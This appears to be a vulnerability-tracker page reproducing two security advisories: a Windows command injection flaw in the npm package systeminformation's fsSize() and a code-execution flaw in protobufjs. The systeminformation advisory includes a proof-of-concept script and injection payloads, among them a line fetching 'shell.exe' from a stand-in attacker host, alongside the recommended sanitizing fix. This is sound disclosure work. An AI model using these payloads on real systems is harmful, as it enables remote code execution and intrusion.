Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe #
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl
As shown, the attacker's commands are injected directly into the PowerShell command string.
Impact
Who Is Affected?
- Applications running
systeminformationon Windows that pass user-controlled input tofsSize(drive) - Web applications, APIs, or CLI tools that accept drive letters from users
- Monitoring dashboards that allow users to specify which drives to query
Potential Attack Scenarios
- Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges
- Data Exfiltration - Read sensitive files and exfiltrate data
- Privilege Escalation - If Node.js runs with elevated privileges
- Lateral Movement - Use the compromised system to attack internal network
- Ransomware Deployment - Download and execute malicious payloads
Recommended Fix
Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:
if (_windows) {
try {
+ const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';
- const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
+ const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;
util.powerShell(cmd).then((stdout, error) => {
The true parameter enables strict mode which removes additional characters like spaces and parentheses.
systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.
Severity
8.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "systeminformation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.27.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-68154"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-16T22:37:23Z",
"nvd_published_at": "2025-12-16T19:16:00Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe `fsSize()` function in `systeminformation` is vulnerable to **OS Command Injection (CWE-78)** on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.\n\n**Affected Platforms:** Windows only \n\n**CVSS Breakdown:**\n- **Attack Vector (AV:N):** Network - if used in a web application/API\n- **Attack Complexity (AC:H):** High - requires application to pass user input to `fsSize()`\n- **Privileges Required (PR:N):** None - no authentication required at library level\n- **User Interaction (UI:N):** None\n- **Scope (S:U):** Unchanged - executes within Node.js process context\n- **Confidentiality/Integrity/Availability (C:H/I:H/A:H):** High impact if exploited\n\n\u003e **Note:** The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable.\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `lib/filesystem.js`, **Line 197**\n\n```javascript\nif (_windows) {\n try {\n const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? \u0027| where -property Caption -eq \u0027 + drive : \u0027\u0027} | fl`;\n util.powerShell(cmd).then((stdout, error) =\u003e {\n```\n\nThe `drive` parameter is concatenated directly into the PowerShell command string without any sanitization.\n\n### Why This Is a Vulnerability\n\nThis is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using `util.sanitizeShellString()`:\n\n| File | Line | Function | Sanitization |\n|------|------|----------|--------------|\n| `lib/processes.js` | 141 | `services()` | \u2705 `util.sanitizeShellString(srv)` |\n| `lib/processes.js` | 1006 | `processLoad()` | \u2705 `util.sanitizeShellString(proc)` |\n| `lib/network.js` | 1253 | `networkStats()` | \u2705 `util.sanitizeShellString(iface)` |\n| `lib/docker.js` | 472 | `dockerContainerStats()` | \u2705 `util.sanitizeShellString(containerIDs, true)` |\n| `lib/filesystem.js` | 197 | `fsSize()` | \u274c **No sanitization** |\n\nThe `sanitizeShellString()` function (defined at `lib/util.js:731`) removes dangerous characters like `;`, `\u0026`, `|`, `$`, `` ` ``, `#`, etc., which would prevent command injection.\n\n---\n\n## PoC\n\n### Attack Scenario\n\nAn application exposes disk information via an API and passes user input to `si.fsSize()`:\n\n```javascript\n// Vulnerable application example\nconst si = require(\u0027systeminformation\u0027);\nconst http = require(\u0027http\u0027);\nconst url = require(\u0027url\u0027);\n\nhttp.createServer(async (req, res) =\u003e {\n const parsedUrl = url.parse(req.url, true);\n const drive = parsedUrl.query.drive; // User-controlled input\n \n // VULNERABLE: User input passed directly to fsSize()\n const diskInfo = await si.fsSize(drive);\n \n res.end(JSON.stringify(diskInfo));\n}).listen(3000);\n```\n\n### Exploitation\n\n**Normal Request:**\n```\nGET /api/disk?drive=C:\n```\n\n**Malicious Request (Command Injection):**\n```\nGET /api/disk?drive=C:;%20whoami%20%23\n```\n\n### Command Construction Demonstration\n\nThe following demonstrates how commands are constructed with malicious input:\n\n**Normal usage:**\n```\nInput: \"C:\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n```\n\n**With injection payload `C:; whoami #`:**\n```\nInput: \"C:; whoami #\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n \u2191 \u2191\n semicolon terminates # comments out rest\n first command\n```\n\nPowerShell will execute:\n1. `Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C:` (original command)\n2. `whoami` (injected command)\n3. Everything after `#` is commented out\n\n### PoC Script\n\n```javascript\n/**\n * Command Injection PoC - systeminformation fsSize()\n * \n * Run with: node poc.js\n * Requires: npm install systeminformation\n */\n\nconst os = require(\u0027os\u0027);\n\n// Simulates the vulnerable command construction from filesystem.js:197\nfunction simulateVulnerableCommand(drive) {\n const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? \u0027| where -property Caption -eq \u0027 + drive : \u0027\u0027} | fl`;\n return cmd;\n}\n\n// Test payloads\nconst payloads = [\n { name: \u0027Normal\u0027, input: \u0027C:\u0027 },\n { name: \u0027Command Execution\u0027, input: \u0027C:; whoami #\u0027 },\n { name: \u0027Data Exfiltration\u0027, input: \u0027C:; Get-Process | Out-File C:\\\\temp\\\\procs.txt #\u0027 },\n { name: \u0027Remote Payload\u0027, input: \u0027C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\\\temp\\\\shell.exe #\u0027 },\n];\n\nconsole.log(\u0027=== Command Injection PoC ===\\n\u0027);\nconsole.log(`Platform: ${os.platform()}`);\nconsole.log(`Note: Actual exploitation requires Windows\\n`);\n\npayloads.forEach(p =\u003e {\n console.log(`[${p.name}]`);\n console.log(` Input: ${p.input}`);\n console.log(` Command: ${simulateVulnerableCommand(p.input)}\\n`);\n});\n```\n\n### PoC Output\n\n```\n=== Command Injection PoC ===\n\nPlatform: win32\nNote: Actual exploitation requires Windows\n\n[Normal]\n Input: C:\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n\n[Command Execution]\n Input: C:; whoami #\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n\n[Data Exfiltration]\n Input: C:; Get-Process | Out-File C:\\temp\\procs.txt #\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\\temp\\procs.txt # | fl\n\n[Remote Payload]\n Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #\n Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe # | fl\n```\n\nAs shown, the attacker\u0027s commands are injected directly into the PowerShell command string.\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- Applications running `systeminformation` on **Windows** that pass user-controlled input to `fsSize(drive)`\n- Web applications, APIs, or CLI tools that accept drive letters from users\n- Monitoring dashboards that allow users to specify which drives to query\n\n### Potential Attack Scenarios\n\n1. **Remote Code Execution (RCE)** - Execute arbitrary commands with Node.js process privileges\n2. **Data Exfiltration** - Read sensitive files and exfiltrate data\n3. **Privilege Escalation** - If Node.js runs with elevated privileges\n4. **Lateral Movement** - Use the compromised system to attack internal network\n5. **Ransomware Deployment** - Download and execute malicious payloads\n\n---\n\n## Recommended Fix\n\nApply `util.sanitizeShellString()` to the `drive` parameter, consistent with other functions in the codebase:\n\n```diff\n if (_windows) {\n try {\n+ const driveSanitized = drive ? util.sanitizeShellString(drive, true) : \u0027\u0027;\n- const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? \u0027| where -property Caption -eq \u0027 + drive : \u0027\u0027} | fl`;\n+ const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? \u0027| where -property Caption -eq \u0027 + driveSanitized : \u0027\u0027} | fl`;\n util.powerShell(cmd).then((stdout, error) =\u003e {\n```\n\nThe `true` parameter enables strict mode which removes additional characters like spaces and parentheses.\n\n---\n\n`systeminformation` thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.",
"id": "GHSA-wphj-fx3q-84ch",
"modified": "2025-12-16T22:37:23Z",
"published": "2025-12-16T22:37:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-wphj-fx3q-84ch"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68154"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/commit/c52f9fd07fef42d2d8e8c66f75b42178da701c68"
},
{
"type": "PACKAGE",
"url": "https://github.com/sebhildebrandt/systeminformation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "systeminformation has a Command Injection vulnerability in fsSize() function on Windows"
}
GHSA-XQ3M-2V4X-88GG
Vulnerability from github – Published: 2026-04-16 22:34 – Updated: 2026-05-04 22:12
VLAI
Summary
Arbitrary code execution in protobufjs
Details
Summary
protobufjs could execute generated JavaScript code derived from protobuf schema metadata. When loading a crafted JSON descriptor, schema-controlled type names and type references could reach runtime code generation without sufficient validation.
Impact
An attacker who can provide a malicious protobuf definition or JSON descriptor to an application may be able to execute arbitrary JavaScript in the context of the process using protobufjs.
This requires control over the protobuf schema or descriptor being loaded. Applications that only decode messages using trusted, application-defined schemas are not directly affected by this issue.
Preconditions
- The application must allow an attacker to control or influence a protobuf definition or JSON descriptor.
- The application must load that definition through protobufjs reflection APIs such as descriptor loading.
- The affected generated-code path must be reached, for example by performing an operation on the loaded type.
Workarounds
Do not load protobuf definitions or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict them before loading and run schema processing in an isolated environment.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "protobufjs"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "protobufjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41242"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:34:57Z",
"nvd_published_at": "2026-04-18T17:16:13Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nprotobufjs could execute generated JavaScript code derived from protobuf schema metadata. When loading a crafted JSON descriptor, schema-controlled type names and type references could reach runtime code generation without sufficient validation.\n\n## Impact\n\nAn attacker who can provide a malicious protobuf definition or JSON descriptor to an application may be able to execute arbitrary JavaScript in the context of the process using protobufjs.\n\nThis requires control over the protobuf schema or descriptor being loaded. Applications that only decode messages using trusted, application-defined schemas are not directly affected by this issue.\n\n## Preconditions\n\n- The application must allow an attacker to control or influence a protobuf definition or JSON descriptor.\n- The application must load that definition through protobufjs reflection APIs such as descriptor loading.\n- The affected generated-code path must be reached, for example by performing an operation on the loaded type.\n\n## Workarounds\n\nDo not load protobuf definitions or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict them before loading and run schema processing in an isolated environment.",
"id": "GHSA-xq3m-2v4x-88gg",
"modified": "2026-05-04T22:12:42Z",
"published": "2026-04-16T22:34:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41242"
},
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75"
},
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956"
},
{
"type": "PACKAGE",
"url": "https://github.com/protobufjs/protobuf.js"
},
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.5"
},
{
"type": "WEB",
"url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Arbitrary code execution in protobufjs"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…